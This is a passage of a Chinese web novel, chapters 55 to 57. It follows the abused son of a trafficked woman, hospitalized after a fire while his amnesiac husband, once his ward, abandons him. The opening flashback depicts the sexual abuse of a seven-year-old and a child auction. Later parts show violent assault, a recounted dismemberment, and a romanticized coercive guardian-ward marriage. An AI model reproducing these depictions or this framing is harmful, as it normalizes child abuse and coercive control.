哥哥皱着眉头,穿着看起来很舒服的衣服,手里拿着一袋垃圾,看着他狼吞虎咽在垃圾堆里吃东西,冷声道:“你怎么还在这里?”
余赋秋连忙咽下口里的食物,“我……我找不到路……”
他想起奶奶的话,赶忙道,“我,我很听话的,我会捡瓶子,也会洗衣做饭,家里的猪草都是我割的,还有,我,我会砍柴,劈的很整齐的!”
他小心翼翼地问道:“能,不能不要赶我走?我找不到回去的路,我回去了……奶奶会打死我的……”
哥哥的脸隐入黑暗,在对上那双含泪的眼眸之际,他怔了一下,随即身后走出一个穿着黑衣服的男人。
他应该叫舅舅的男人。
余赋秋萧索了下肩膀,他很怕这个男人。
可是仔细看,舅舅和妈妈其实长得很像。
他记忆中的妈妈,穿着红色的衣服,头发扎着麻花辫,手指粗糙,脸色蜡黄,但是妈妈的眼睛其实很好看。
余赋秋小时候最喜欢窝在妈妈的怀中,仰起头,用小手仔细抚摸妈妈的眉眼。
如果妈妈没有被拐卖,而是在家里幸福地长大,是不是会和舅舅一样漂亮?
余赋秋忍不住多看了几眼舅舅。
舅舅黑着脸,“看什么!”
末了他打开了房门,让余赋秋进去了,“要死别死在这里,晦气。”
“还有。”他停顿了下,“如果你敢出现在小圆的面前,你就死定了。”
小圆?
妈妈的名字叫小圆吗?
这是余赋秋第一次听到妈妈的名字,别人都叫妈妈叫赔钱货,叫拐地儿来的。
余赋秋被安排在最底下的杂物间,这里只有一张很小的床,可对于余赋秋来说,他已经很满足了。
在家里客厅的最中央,摆放着一架钢琴。
余赋秋听保姆说,这个钢琴是妈妈以前最喜欢的。
但妈妈检查出来,她的手筋断了,再也弹不了钢琴了。
妈妈的身上大大小小都是被爸爸打出来的疤痕。
余赋秋躲在地下室里面,大颗大颗的眼泪往下掉。
其实妈妈曾经逃跑过,都是因为他。
他拉着妈妈的脚,哭喊着让妈妈不要走,不要抛弃他。
那时候的妈妈都逃到了车上,但因为他,妈妈的一瞬间犹豫,让妈妈被抓了回去,妈妈的双手双脚全都是血。
余赋秋在大黄的窝里,都可以听到妈妈撕心裂肺的声音和爸爸重重砸在妈妈身上的酒瓶子。
余赋秋想要去救妈妈,但他发了一场高烧,那场烧退后,他变得有些痴傻。
事情都变得比别人慢半拍。
等他想要去找妈妈的时候,妈妈的双手已经无力地垂了下来,她看着余赋秋的眼神宛若仇人,她说:“为什么你不去死。”
余赋秋蜷缩在一起。
好像,他的出生就是个错误。
是不是他死了,妈妈就可以得到救赎了呢?
余赋秋上学了。
但他年纪太小了,只能重新读一年级,就在哥哥学校的旁边。
就在他上学的第一天开始,他被霸凌的日子就开始了。
学校的学生都知道他是□□犯的孩子,知道他的父亲是人贩子。
他被安排坐在垃圾桶的旁边,发下来的书本上被涂满了红色的颜料,余赋秋不认字,还天真的以为是大家给他的欢迎仪式,他小心翼翼地收了起来,放进包里。
后面他才知道,上面写满了‘去死’‘垃圾’‘废物’
他的桌子上甚至有死老鼠,死蛇。
一开始余赋秋还会尖锐地喊叫,但老师以干扰课堂,每当他叫起来,就会一巴掌打在他的脸上,直到他安静为止。
余赋秋后面就学乖了。
他不再喊叫。
他长得很像妈妈,七岁的眉眼已经可以看出以后的漂亮模样。
所以被人带去厕所,被迫脱下裤子,摸了陌生的地方,他也不会喊叫。
因为喊叫被带来的是更严重的霸凌。
知道有人告诉他玩一个游戏,把这个东西塞进去,妈妈就会来找他。
余赋秋信了。
直到第二天,他的□□全然是鲜血,老师想打他的时候,发出尖锐的叫声,他才茫然地往下看,鲜血流了一地。
他被送去了医院。
这时候,他在进入手术室的前一秒,看见了来医院的妈妈。
他昏昏沉沉的想,原来那人说的是真的。
妈妈真的来看他了。
可是,他醒来的时候。
为什么妈妈不见了?
还把他送去了一个没有人的地方。
他想要找回家的路。
找不到。
这里的白衣姐姐好凶,每天要给他吃苦苦的药,要打很粗的针头。
还有一个更高大的坏人,拽着他的头发把他往墙上撞,让他乖点,否则他再也见不到妈妈了。
余赋秋知道了。
要学乖,要听话。
不能喊叫。
可是为什么……
他还是被带去了拍卖场,被带去那个幽暗的地下室,被那么多人围观,甚至他们想要来摸他?
他不是已经很乖了吗?
他只是想有个自己的家啊。
原来妈妈很早就不要他了吗?
他去死,妈妈会不会好一点?
会不会想他一点。
这个时候……
一道声音照进了他的世界。
他好像被抱了起来,那个怀抱很温暖,很好闻。
那人撩开他的头发,轻轻地吻了吻他的额头。
余赋秋迷茫地问,“你是谁?”
他听见那个温柔的声音笑了,好像春风拂面。
他说:“我是你的爱人。”
作者有话说:
新年快乐
第56章 第56章[VIP]
“爱人?”
余赋秋费力地睁大双眼, 但他看到的只能是无尽的虚空,他伸出手想要抓住在耳边回荡的声音:“你是谁……你,你真的是我的爱人吗?”
他这样的人, 也值得被爱吗?
簌簌、滚烫的泪水从他的眼尾滑落。
他是一个被强.奸出来的产物, 既便是个男孩,但是他性格懦弱,长相又偏柔化, 成为村里和学校里被霸凌的对象。
他不敢反抗,也不能反抗。
因为没有人站在他的身边,他唯一一次的反抗, 虽然是在医院里盼来了妈妈, 但是他却被送去了精神病院。
他习惯卑微低下,习惯去用力地讨好别人。
没有人教会他怎么去选择自己的想法, 没有人教会他怎么去做自己。
所以他在穿书的时候, 看到了落雨小巷的少年,看到了那双眼中有自己没有的东西。
所以余赋秋把他带回了家,将他当作自己的孩子抚养长大。
明明……他也只是个十七八岁的少年。
既便他作为演员出道,有很多的恶评,既便他去做服务员, 有很多态度恶劣的人, 但是他和以前不一样了。
他拖着一身疲惫的身躯回到家, 看着那张小床上拱起的被子,长庭知探出毛茸茸的脑袋,将捂热的被窝掀起来, 眼睛亮亮的, 他会拉着他冰冷的双手,放在胸口捂暖, 对他说:“欢迎回家。”
长庭知给了他一个家。
让他知道,他也可以是被爱的。
所以长庭知在成年后,脱离了他的户口本,自己独立了一个户口本,然后办的第一件事,就是和他求婚。
他说:“我的户口本上,第一个人是你,也只会你。”
这份本该是亲情的感情变了质。
但余赋秋习惯了顺从,他渴望有自己的一个家。
他不想再奔波了,也再次害怕被抛弃。
所以他再接受了长庭知的求婚后,只问了一个问题,他说:“你会抛弃我吗?”
长庭知没有说话,却用五年来的行动再告诉他,他永远永远不会抛弃余赋秋。
余赋秋在得知爱人失忆,变成了第二人格之后,他想要努力,去挽回爱人。
这是他做的最大胆和最勇敢的决定。
但此刻 ……
余赋秋只觉得身体好痛,脸颊好痛。
他的选择还是正确的吗?
“妈咪。”
“妈咪。”
““球球。”
“宝贝。”
“老婆。”
两道小声却有力的声音在他的耳畔回荡。
余赋秋的指尖动了下。
是啊,春春还在等他。
他不能……
……
“呼叫呼叫!急救中心!这里是XX医院急诊科!火灾伤员已送达,情况危急!”
“……呼吸道严重灼伤,血氧饱和度持续下降!”
“立刻建立两条静脉通道,肾上腺素准备!”
“气管插管!快!他快没有呼吸了!”
“心电监护,血压测不到!除颤仪准备!”
“继续按压,不要停!”
……
余赋秋毫无生气地躺在抢救床上,衣物早已经在火中碳化,粘连在翻卷的皮肉上,触目惊心。
他的脸上覆盖着氧气面罩,曾经清澈如琉璃的眼眸紧闭,只有监护仪上一上一下浮动的紊乱波形,和机器发出刺耳的警报声。
“你们!谁是他的家属!”
急救的医生推开手术门,面色凝重,“怎么现在才送过来?!”
录制节目的董志面色灰暗,结结巴巴道:“我,我们是从Y国飞机赶过来的,不,不知道他情况这么严重……”
在柯祈安吃了花生酱之后导致了过敏性休克,所有人都如临大敌,快速收拾好东西之后,将他送去这里最近的医院。
却没有人注意到本该干燥的木屋外面不知道何时浇满了汽油,而在施铜和长庭知踏出木屋的那一瞬间,火焰悄然爬上了木屋的四周。
等董志到达市区的医院后,等柯祈安的伤势稳定了下来后,他才发现余赋秋不见了。
施铜阴阳怪气:“知道自己害了安安,还有脸面跟过来?”
“长总呢?”
施铜耸了耸肩,“安安离不开他,他跟着进去了。”
就在这个时候,董志的手机在剧烈的震动。
他蹙着眉头,以为是外界的媒体,如果柯祈安真的出了什么事情,不仅仅是粉丝会骂死他,而且柯祈安身后的柯家,他也是绝对惹不起的。
他烦躁地挂断了电话,但是那个号码似乎不接不肯罢休。
董志直接关掉了手机,靠在外面的椅子上,拧着眉头,手揉着太阳穴。
怎么会出这个岔子,他当初就是看余赋秋和柯祈安的爆点才把两个人请了过来,怎么余赋秋这么仇恨柯祈安,直接摆在明面上了?
他没有和余赋秋合作过,但是听说余赋秋的人品一直不错。
“怎么变成这样……难道都是演出来的?”董志呢喃道。
但助理接到了电话后,脸色瞬间变得煞白,他颤颤巍巍地来到董志的身边:“导,导演……出事儿了……”
“什么!你还嫌不够添乱吗?”
停工一天,都是他经费的巨大损失。
助理把手机递给他,“是……沈家那位……”
董志接过了电话后,原本不耐的脸瞬间变得惨白。
“余,余赋秋在木屋里面,木屋发生了火灾……”
沈昭铭觉得心理很不安,他取消了当天所有的行程,跟着节目组的通告,来到郊区野营地的时候,空无一人。
正当他走的时候,他仿佛听见了谁在呼喊。
他猛地转身,只见在一个隐蔽的角落里面,传来烟熏的味道。
然后——
他在熊熊大火中,看见了蜷缩在地上的余赋秋。
一根沉重燃烧着的木头压在余赋秋的身上,只差一点,火焰就蔓延在他的身上,将他吞噬殆尽。
沈昭铭不顾秘书的阻拦,一个人冲进浓烟中,拖下外套,将那副瘦削的身躯,紧紧包裹在自己的怀中。
Y国的医疗条件不如Z国好。
而余赋秋的伤势严重到不能再拖了。
沈昭铭当即坐上私人飞机,带上医生,从大洋彼岸,一路飞向Z国。
他甚至来不及申请开通私人航线,顶着被压力的风险,义无反顾地带着重伤的余赋秋回了国。
“如果再晚一点,他就会彻底没命!严重休克,呼吸道严重灼伤,肾功能损害,GCS评分三级!”
“而且,病人都这种情况了,他□□还有撕裂的迹象!脸上有被殴打的迹象。”医生冷着脸说道,“你们是人吗!”
董志一愣,他只拍到了余赋秋从真心话大冒险之后离去的画面,根本没料到后面的事情。
“家属!”医生嘶吼道,“都这种情况了,人居然没来?!”
医生认出了这是余赋秋,他在人群中观望着,没有长庭知的面孔。
“他,他不在……”
董志在接到了电话后,第一时间就去和长庭知说了。
但长庭知神色淡淡,他的手被昏睡的柯祈安拉着,他看着睡得安宁的柯祈安,只是说了一句:“他的把戏可真足啊。”
“如果死了,让他死在医院,别死在家里。”他顿了顿:“晦气。”
董志不可置信地看着长庭知,这还是那些恩爱日记vlog里面的长庭知吗?
但情况危机,董志只能先乘坐飞机回来。
“我联系了他的姐姐,现在在赶来的路上。”一路上风尘仆仆,衣着凌乱的沈昭铭从门外快步地走了进来,他发丝凌乱,连眼镜都歪了一些。
“赋秋!”
褚宝梨急匆匆地推开门过来,甚至穿着拖鞋,神色疲倦,身后是走路一瘸一拐的长春春。
医生快速地将情况和褚宝梨说了一下,褚宝梨几乎站不稳,身旁的沈昭铭扶住了她的手,她颤颤巍巍地在上面签了字。
“医生……一定要保住赋秋,至少,至少要保住他的脸,他是个演员……”
演员靠脸吃饭。
如果余赋秋真的和长庭知离婚了,就算失去了爱情,但他不能连事业也失去。
医生蹙着眉头看着她:“人都不一定能救活来,这时候关注脸有什么用。”
“妈咪一定会好好的!”长春春拉着医生的衣袖,大声地说道:“医生,你一定会救我妈咪的,对不对?!”
“……”
医生深深地看了眼长春春一瘸一拐的脚,想到他亲眼看着父母从摩天轮坠落的场景,于心不忍,没说话,转身离去。
“长庭知呢?!”褚宝梨扯着董志的衣领,尖锐的美甲刺入他的皮肤,质问道:“我让赋秋参加你们的节目,你就这么对他的?!”
董志后悔不已,他结结巴巴道:“长,长总他在……”
“呵,你的好弟弟此刻正陪着柯家那位,在医院里温柔地安慰着人家呢。”沈昭铭神色冷淡道。
“当着小孩的面,你说这个话,合适吗?!”褚宝梨一把狠狠推开董志的衣领,连忙捂住长春春的耳朵。
“这都是迟早的事情。”沈昭铭看着七岁的长春春,别人都说长春春的眉眼像长庭知,但沈昭铭却觉得,他的五官继承了余赋秋的柔和,是个很漂亮的孩子。
“你确定,他在说了这句话后,他们还能走下去?”
沈昭铭拿出通话的记录。
董志那时候慌乱地没有挂断电话,所有的聊天都被沈昭铭听的一清二楚。
‘如果死了,就让他死在医院,别死在家里,晦气。’
褚宝梨神色呆滞,捂着长春春的手都颤抖着。
“他们没有告诉你吧。”沈昭铭神色平淡,“长庭知从摩天楼坠下后,大脑再次受到重创,忘却了一切,他这段时间都没有联系你吧。”
褚宝梨的喉头哽咽,她低头望了望眼神无辜地看着她的长春春。
“姑姑?你哭什么呀?”长春春问,“妈咪……是治不好了吗?”
“没有,没有的事情。”褚宝梨蹲下身,揉了揉长春春的脑袋:“妈咪会好好的回来的。”
“叔叔,是你救了妈咪吗?”长春春拐着脚,慢慢地挪到了沈昭铭的面前,他很有礼貌地点了点头:“谢谢你救了妈咪,春春不会忘记这份恩情的。”
沈昭铭在心中叹息,这孩子虽然骨子里留着长庭知的一半血,至少没有继承那个混球的脑子。
“春春,如果有一天爸爸和妈妈真的分开了,你……你不要怪妈妈。”褚宝梨摸了摸长春春的眼尾,轻轻叹了口气:“你妈妈真的很爱你爸爸,如果他决定了放弃,那么一定是……坚持不下去了。”
长春春抿着嘴巴不说话,只是他翻开了自己的手表电话,指尖摸着屏幕,那壁纸就是爸爸牵着笑着开怀的妈妈,他跟在他们的身后,用手表拍下了这一幕。
他一直舍不得换。
他抬起头来,摇了摇头:“不会的,爸爸不在了,就是春春来保护妈咪了。”
……
好黑啊。
余赋秋想到。
身上也好疼。
春春呢?
会不会想他了?
怪他,把春春一个人放在家里,褚宝梨工作忙,不一定有时间照顾春春,他真是个不合格的妈妈,春春才多大,就让他担心。
还有……
他真的想要和长庭知去解释。
他没有干,他真的没有给柯祈安用花生酱。
不要用那种眼神看他。
“……病人的情况好多了,只是现在一直没醒,可能是他潜意识不想醒,尽量多和他说说话吧,唤起他的意识。”
余赋秋隐约可以听到一些模糊的声音。
他只记得自己被施铜打了一巴掌,蜷缩在木屋冰冷的地板上,然后……然后好像有一个火光,很温暖,他还闻到了烧焦的味道。
后面……他好像被抱入了一个温暖的怀抱,那人不断地拍着他的身体,在耳边呼喊着他的名字。
是谁?
是谁在呼唤我?
夜深了。
余赋秋处于最顶级的病房里面,他安静地闭着眼,顺着呼吸机在平稳地呼吸。
一个身影,小心地拧开了病房的门,他的脚步虚浮,生怕会吵醒床上的身影。
“这么黑,他们都不知道给你开个灯。”那人的身上带着冬末的寒冷,他小心翼翼地从怀中掏出了一个月亮的小台灯,这个小台灯外观已经很久了,但却被保护的很好。
他把灯光调到了柔和,定格在2度,微微转了一个弧度,暖和的光晕照耀在余赋秋的脸上,却不会很刺眼。
同时也照亮了来人的神情。
长庭知放好小台灯后,脱下了带着寒意的外套,他趴在了床头,神色温柔地看着躺在病床上的余赋秋。
“你还是把小月亮放在老位置呢,以前是我用,后面是春春用,春春长大了,你给收在了我的那个小包裹里面。”
他的手冰凉,不敢触碰余赋秋,他把自己的手放在嘴边,让热气喷洒在手上,想要让手快点暖起来。
他边呵着,边笑着说:“你知道你以前和我冷战吗?”
“你就接了我三十六秒的视频,然后我发晚安,我发老婆,我发辛苦了,还有你最喜欢的小猫亲亲。”
“你都不肯理我。”
“你去外面拍戏,你太忙了都没时间回我。”
“我发了好多条好多条语音。”
每一条语音都是他的报备。
【我到家了,老婆。】
【呜啦啦啦啦,小宝又把牛奶洒了!!我要好好教训他。】
余赋秋是他的大宝,长春春是他们的小宝。
【老婆,你已经一个小时没回我了,哭泣泣。】
【老婆老婆,你睡着了吗?理理你的小树好不好?】
【已经凌晨了,小灵和我说你又熬夜了,哎呀,别熬夜看剧本啦!宁愿看剧本也不回我。】
【爱你爱你爱你,老婆。】
【啊啊啊,越想越幸福,嘿嘿,我有这么好,这么漂亮的老婆。】
【大宝,还是不理我吗?好吧,哭泣,我要睡觉了,那小混球一直在钻我被窝,要我给他讲小山羊的故事,都讲十来遍了。】
【想你,宝宝,好想你,好想好想。】
【晚安,爱你的第五百六十八天。】
长庭知清醒过来的时候,他正趴在柯祈安的病床边,他不知道发生了什么,但自己却握着柯祈安的手臂,他如临大敌,立刻去洗澡间将那触碰的部位洗的出了细微的红血丝。
“好脏,好脏……”
“球球不喜欢我碰别人的……”
他立刻买了最近的航班,在出去的时候,碰到了守候在外面的施铜。
施铜见他出来,“长哥,安安没事吧。”
他的脑海中瞬间浮现出了这个人的面容,以及他拽着余赋秋的头发,打他一巴掌的画面。
“施铜?”
他轻轻地念出了这个名字。
“诶!是我,长哥,怎么了?”
“就是你,打了我老婆是吧。”长庭知笑了起来。
“你老婆?”施铜没反应过来,他探身看了看病房里的柯祈安:“安安,我怎么敢打他……我……”
施铜的话音未落,他的头已经被长庭知狠狠抓住,砸向墙面。
“砰——!”
施铜的后背和头部猛然地撞击墙壁,剧痛让他眼前一黑,发出凄厉的惨叫,他还没从突如其来的暴力中回过神来,长庭知已经松开他的脑袋。
随即,是更粗暴的殴打。
长庭知抬起手,对着施铜的右手,面无表情地往旁边扭曲了一圈。
“啊——!”
比刚才还凄厉的嚎叫,瞬间撕裂了医院走廊的寂静。
清晰的骨骼碎裂声,伴随着他的手扭曲地垂落下来。
施铜疼的浑身抽搐,眼泪鼻涕糊了一脸,在地上疯狂的打滚。
这个时候,那双红底皮鞋狠狠踩在他的脸上,抬脚,甩在了他的脸上。
“就是你用这只手打了我老婆是吧。”
“我都舍不得动他一点,你怎么敢的?谁给你的胆子,嗯?”
长庭知一脚又一脚地甩着他的脸,甚至可以听到脸颊的骨头碎裂的声音。
“你算什么东西,躺在病房的那个人又算什么?”
“你配吗。”
“别打了,别打了,长总,会出人命的。”苏书易拦住了长庭知,他双目赤红,脸上却依旧面无表情,甚至还撅着淡淡的笑意。
“余老师,余老师在Z国的XX医院,他出了火灾,现在就在急救!”苏书易说完,抬眼看着长庭知的表情。
长庭知动作一顿,瞪大眼睛,额头的青筋暴起,但他只是忍住,吐出一个浊气,看了一眼拦住自己的女孩子,点头道谢:“谢谢你。”
……
“都是我的错,球球,都是我的错……”长庭知哽咽着,再也忍不住红了眼眶,他的手终于捂热,他小心翼翼地圈住余赋秋的指尖,轻轻地搭在上面,“他不是我,他不是我。”
“我不会做出那些事情,球球。”
所以他在得知余赋秋火灾的时候,沉睡的力量破土而出,终于……他在这个晚上,再次拥有了去见余赋秋的权力。
有个声音告诉他,他是多余的存在,是这个世界漏空的bug。
他注定要被抹去,去还本就不属于他的东西。
可是长庭知不甘心啊。
他才知道,他所在这个世界是个小说,而他是小说的主角攻,命定的爱人是柯祈安。
放屁!
长庭知不会再对余赋秋以外的人动心。
怎么可能再来一个命定的爱人呢?
那个声音说,世界开始修复剧情了,所以他在车祸中失去了记忆,是因为真正属于本书的主角攻出现了。
长庭知在黑暗中沉睡,却每晚都可以听到余赋秋小声叮咛,呼喊他的声音。
既便他出现的时间很短,可是……
在他再次睁眼,亲眼看见爱人的那一刻,他再也忍不住,和小时候无数次那样,把自己的脸颊贴在余赋秋的手中,红了眼眶,小声地撒娇:“球球,我回来了。”
“所以你睁眼看看我,好不好?”
“打我骂我都可以,别不要我。”
“你不要放弃我好不好?”
余赋秋没有反应。
长庭知就慢慢地说着他们的过往,他还是把自己的脸贴在余赋秋的掌心,对着月亮型的小夜灯诉说着。
“你那时候和我说,你想吃煲仔饭,但是十二点半才开始,只剩下三十八分钟了,煲仔饭肯定来不及了。”
“你说要不要去吃什么。”
“小馋猫,我知道你想吃外面的汉堡很久了,我停好车,说,去吃麦当劳了。”
“你还扭捏地说少吃垃圾食品,非要我撒娇,你才说好吧好吧,就依我这一次。”
“我回去接你,让你提前下楼,可以边点边走。”
“嘿嘿,结果你这个小笨蛋,走了一半忘了拿3D眼镜,没想到吃完还要去看电影,这是你给我的惊喜吧,结果说漏嘴了。”
长庭知嘴角扬起一抹笑,把自己的下巴抵在余赋秋的手背上,热泪从他的眼尾不断滴落,“……我们去吃煲仔饭吧。”
“这次有足够的时间。”
他现在才发现,在他不在的这段时间,余赋秋把他们冷战期间,他发的那么多语音,一条一条地收藏了起来,然后在深夜反反复复的听。
其中,听的最多的一条是:“我爱你。”
作者有话说:
第57章 第57章[VIP]
“妈咪, 妈咪,你猜小山羊最后有没有找到他的爸爸妈妈呢?”
余赋秋费力地抬起眼皮,耳边就传来了长春春的声音, 长春春正捧着手上一本已经翻烂的故事书念给余赋秋听。
他的语气惟妙惟肖, 尾音上扬,“他呀,最后是……”
“……是找到了爸爸妈妈对不对?”
余赋秋嘶哑着声音, 他的手臂上,脸颊的一半都包裹上了纱布,他睁开的那只眼, 此刻正看着长春春, 眼中尽然是盎然的笑意。
“……妈咪?”长春春不敢眨眼,生怕下一秒余赋秋就会消失在自己的眼前, 他手中的书落在了地上, 呼吸停滞了一瞬,“妈咪?”
长春春又小心翼翼地喊叫了一下。
余赋秋抬不起头,呼吸机还在运作着,在雾气之中,余赋秋用尽全力, 嗯了一下, 说:“春春, 妈咪在。”
长春春瞪大双眼,豆大的泪水从眼尾滑落,但他不和以前一样, 大肆放声的哭泣, 而是小声小声地啜泣着,拼命地想要擦掉眼尾的泪水, 可是却怎么也止不住。
“妈咪,医生叔叔说要春春给妈妈讲很多有趣的故事,所以春春找了很多的故事,有些字春春还是认不全,但春春已经会念拼音很熟练了,小山羊的故事,现在就由春春来告诉妈咪了。”
余赋秋眉目温柔,他现在做不出很多的动作,浑身僵硬,疼痛,他想动手去抚摸长春春的头发,但他怎么也使不上劲,只能目光代笔,仔仔细细地去描摹长春春的眉眼。
“妈咪知道,妈咪在睡觉的时候,听到了春春的声音,还有……”
他一顿,视线慢慢地转向了床头上还在发着亮光的月亮小夜灯。
他听到那些隐约的声音。
“球球……”
“球球……”
“醒来好不好……”
小夜灯怎么会在这里?
这个小夜灯是他在长庭知上小学的时候就买了,用到长庭知上大学,用到长春春出生,长春春不用了之后,他就将它放在了长庭知物品中的小包中。
那个小包放在柜子的最上面,长春春根本拿不到,除了长庭知之外,没有人知道它的位置……
难道……
不是他的错觉?
余赋秋久久地凝视着小夜灯,直到眼睛干涩了才眨了一下。
长春春顺着余赋秋的目光望过去:“妈咪,这个小夜灯怎么会在这里?”
“难道是姑姑拿的吗?”长春春去拿小夜灯,在拿起的那一瞬间,余赋秋清晰地看到了下面的叶子小贴纸。
那是一次他给长庭知开完家长会的时候,长庭知兴奋地拿出从学校发的小叶子贴纸,“球球!我这次考了班级第一,这是班主任奖励我的,我把它贴在小夜灯上了。”
余赋秋穿着围裙,刚蒸好煲仔饭,闻言蹲下身,勾了勾长庭知的鼻子:“要叫爸爸,我看看,哇,小树好棒啊!”
“真是爸爸的骄傲。”
“春春,”余赋秋颤抖着声音,问:“爸爸……来过吗?”
长春春一顿,把手中的小夜灯放回了原处,轻轻地摇了摇头:“妈咪,你被沈叔叔从Y国带回来的时候,医生叔叔问爸爸在哪里,春春不知道爸爸在哪里,还是姑姑签字的。”
“姑姑很着急,连夜带着春春上了高速,春春来到医院,一直等啊等,春春一直看着那手术灯变暗又变亮,然后……”
长春春打了个哈欠,他趴在陪护床上,想要睁大眼睛继续和余赋秋说话,他在icu的玻璃外看着里面的妈咪很久很久,直到妈咪转危为安,进入了普通的病房之后,他才能近距离接触妈咪,然后就是不分昼夜的守在余赋秋的身边。
姑姑说他太小了,不能熬夜,可长春春不肯,姑姑拗不过他,只能让他守在妈咪的身边。
只是好奇怪,他记得自己有踢被子的习惯,半夜他迷迷糊糊醒的时候,被子还被他踢出了一角,但是白天起来的时候,他的双手双脚都安稳地盖在被子的下面。
好像有人特意为他掖好了被角。
还有每天早上会特定出现在桌子上热乎乎的早餐,全是他爱吃的,小笼包、蟹黄包等等。
长春春以为是姑姑,就再也没有多想。
他昨晚熬了个大夜,捏着余赋秋的手,奶声奶气地给余赋秋讲他所知道的全部故事。
在见到妈咪醒来的时候,长春春紧绷的神经彻底松懈了下来,他再也忍不住,昏昏沉沉地睡了过去。
“嘟嘟——”
门被推开了,褚宝梨手上拿着小小的蛋糕,“春春,姑姑从楼下买了你一直要吃的草莓蛋糕,不过不能吃多……”
“赋,赋秋?!”
褚宝梨看见余赋秋醒了后,双眸瞪大,连拿着小蛋糕的手都在颤抖,她快步地走到病床的面前,小心翼翼地将床摇了起来,按了一下铃,声音近乎温柔:“有没有觉得哪里难受啊?”
“脸没有受伤,真的万幸,你不要担心,还有褚楚那边我都联系好了,先暂停你的活动,对外说是你身体不舒服,你饿不饿?噢,我忘了你现在根本吃不了,得肠外营养输入……”
余赋秋看着为自己焦急的褚宝梨,心脏软了一瞬,他轻轻摇了摇头:“姐姐……我没事。”
“能和我说说后面的事情吗?”
褚宝梨似乎被戳中了泪点,这个一向在别人面前的女强人,此刻在余赋秋的面前红了眼:“你去录制节目的时候,你所在的小木屋出了火灾,你被发现昏倒在火灾中,……”
说道这个,她的声音几乎是咬牙切齿:“就因为那个人的任性,调走了所有的工作人员,等他们到达Y国的医院的时候才发现,你不在。”
董志的原话仿佛还在耳边回荡,“这时候我接到了沈昭铭的电话,他在赶往飞机的路上,他说你出了火灾,他在去营地的时候,发现你的木屋外面全是汽油,你就躺在地上,……”
“沈昭铭动用了私人飞机,才把你送到了这里,不然你可能早就休克死了。”
褚宝梨静默了一下,摸了摸自己的眼尾,上面已经有细微的痕迹了,乌黑的头发之中已经参杂了细微的白头发,“……七年前,我得知我失散多年的弟弟找了回来,我其实感到和不可思议。”
“父母去世之后,公司只有我一个人了,我一边打理着公司,一边寻找着庭知的下落,你把他送到了我的面前。”
“我其实很感激你。”她轻轻地覆在余赋秋的手背上,认真地说:“但其实……我并不是很赞成你们的婚姻。”
余赋秋静默地听着。
他抬头看着那刺目的灯光,窗帘拉上,阳光却依然能从缝隙中照下来,洒了一地的温暖。
他们曾碰巧赶上了R国的夏日庆典,赶上了一年一度最为盛大的花火大会。
已经过去了七年,他却依然对那个节日印象深刻,那是他找到了长庭知亲人的前一天,他在想,他是不是要把长庭知归还回去。
但长庭知的下一个动作,却打碎了他的犹豫。
长庭知拿出了一截细小的红绳,上面刻印着歪歪扭扭的‘平安’二字,而在木牌后面,刻印着‘余赋秋’三个字。
他认真的把红绳圈在他的手腕上,他刚毕业,手上没有很多的钱,这时候的金价又很贵,余赋秋的事业也才刚刚起步,不用再特地半夜起来去跑龙套,只为那一两百。
花火在这个时候骤然绽放,光辉洒了长庭知柔和的脸庞。
他说:“球球,我想和你成为一家人。”
“是过一辈子的那种。”
长庭知知道,余赋秋在那么艰难的情况下,连他自己都养不活的情况下,还把自己从雨中带了回家。
他知道,余赋秋是对家庭渴望又害怕的人,他睡在他的身边,也会变得非常不安稳,紧抓着被子,啜泣着,说:“不要……不要靠近我,好恶心,别过来……”
“妈妈……妈妈,救救球球,球球会乖的,别不要我……”
有时候,在路上,他总会驻足观望带着孩子出来玩的一家三口。
长庭知去探班的时候,当替身的余赋秋站在摄像机的后面,对着来探班的一对夫妻,怀中抱着孩子,他歪歪头,似乎充满了憧憬,但又恍惚不安:“庭知,你说……我以后也会有自己的家庭吗?不……应该不是,我这种人怎么配呢?”
“你有喜欢的女孩子吗?有的话带回来给我介绍介绍,我给你攒老婆钱呢。”
长庭知忘记了怎么回答余赋秋的话了。
所以在去认亲的路上,余赋秋一直紧抓着他的手,“庭知,过去的时候,要好好听你姐姐的话,要……”
他一直在叮嘱,然后小声说:“……如果你想来看我,也,也是可以的,我会在家里一直等你的。”
长庭知再也忍不住了,按头吻住了余赋秋,余赋秋对家庭的渴望胜过一切,他似乎对爱情和对亲情根本分不清,长庭知不知道余赋秋身上那些疤痕是怎么来的,他只是会在余赋秋深夜的时候,抱着他,然后低头,在那些疤痕上留下一个个吻,似乎只有这样,才嫩弥补他缺失在余赋秋过去生命中的时光。
“你知道,长庭知对我提出的第一个交易是什么吗。”褚宝梨低声道,“他说,他会把公司做的比父母那时候更好,交换的是,我要支持他和你的恋情。”
余赋秋身体一振。
长庭知真的很了解他,他很在意周围人的目光,他和长庭知的身份一直是监护人和被监护人,要跨过这一道坎,对于余赋秋来说,几乎是困难的存在。
他不愿意去破坏长庭知的家庭,不想伤害长庭知和他亲人之间的感情。
所以后面,在得到了褚宝梨的支持之后,余赋秋才答应下来长庭知,只是在他们确定关系的很长一段时间内,余赋秋晚上不再蜷缩在一起,而是钻入长庭知的怀中,眼睛凉凉的,比外面的星光还要亮,他小心翼翼地问:“庭知,你真的不会后悔吗?你真的……不会抛弃我吗?”
他没有问你爱不爱我。
只是经常一句话反复说很多遍,然后低下头又自嘲一笑:“算了,问这么多,你也会嫌我烦吧。”
在长庭知离开小木屋的前一瞬间。
余赋秋想问长庭知。
“长庭知,你告诉我,只喜欢一个人,真的很难吗?”
褚宝梨曾经调查过余赋秋,但她却根本调查不出任何的信息,她知道,这些都是长庭知暗中搞的鬼。
她知道,长庭知对余赋秋的占有欲到底有多强,她一开始就是反对这个婚姻,她就是不想让余赋秋深陷于这个泥潭。
她曾看过长庭知处理背叛的下属,枪声响起,鲜血飞溅在她弟弟的脸上,她以为第一次看到这种场面的弟弟会恐惧,但她只看到了眼神中的愉悦。
那名下属没有死,而是被砍去四肢,做成了花瓶,被卖去猎奇的地方供人观赏和玩。
长庭知听见那惨叫声,脸上缓缓绽开兴奋地笑容。
那一刻,褚宝梨就知道,必须要让余赋秋跑,他不能卷入进来。
但她没机会开口了,长庭知把她送去了国外的海岛上,以修养的名义,剥夺她在公司所有的权力。
而她在听到余赋秋的消息的时候,是已经生下了长春春,在长春春才几岁的时候,长春春就被送到了她的身边。
至此,余赋秋的身边只有长庭知一个人。
长庭知知道余赋秋的恐惧和不安全感,所以他让余赋秋怀孕,生下了他们的孩子,牢牢的把余赋秋绑定在自己的身边。
果不其然,再有了孩子之后,余赋秋推掉了一切工作,除了必备的演戏之外,综艺类节目全部推掉,连以往的朋友也不再联系,全身心的放在长庭知的身上。
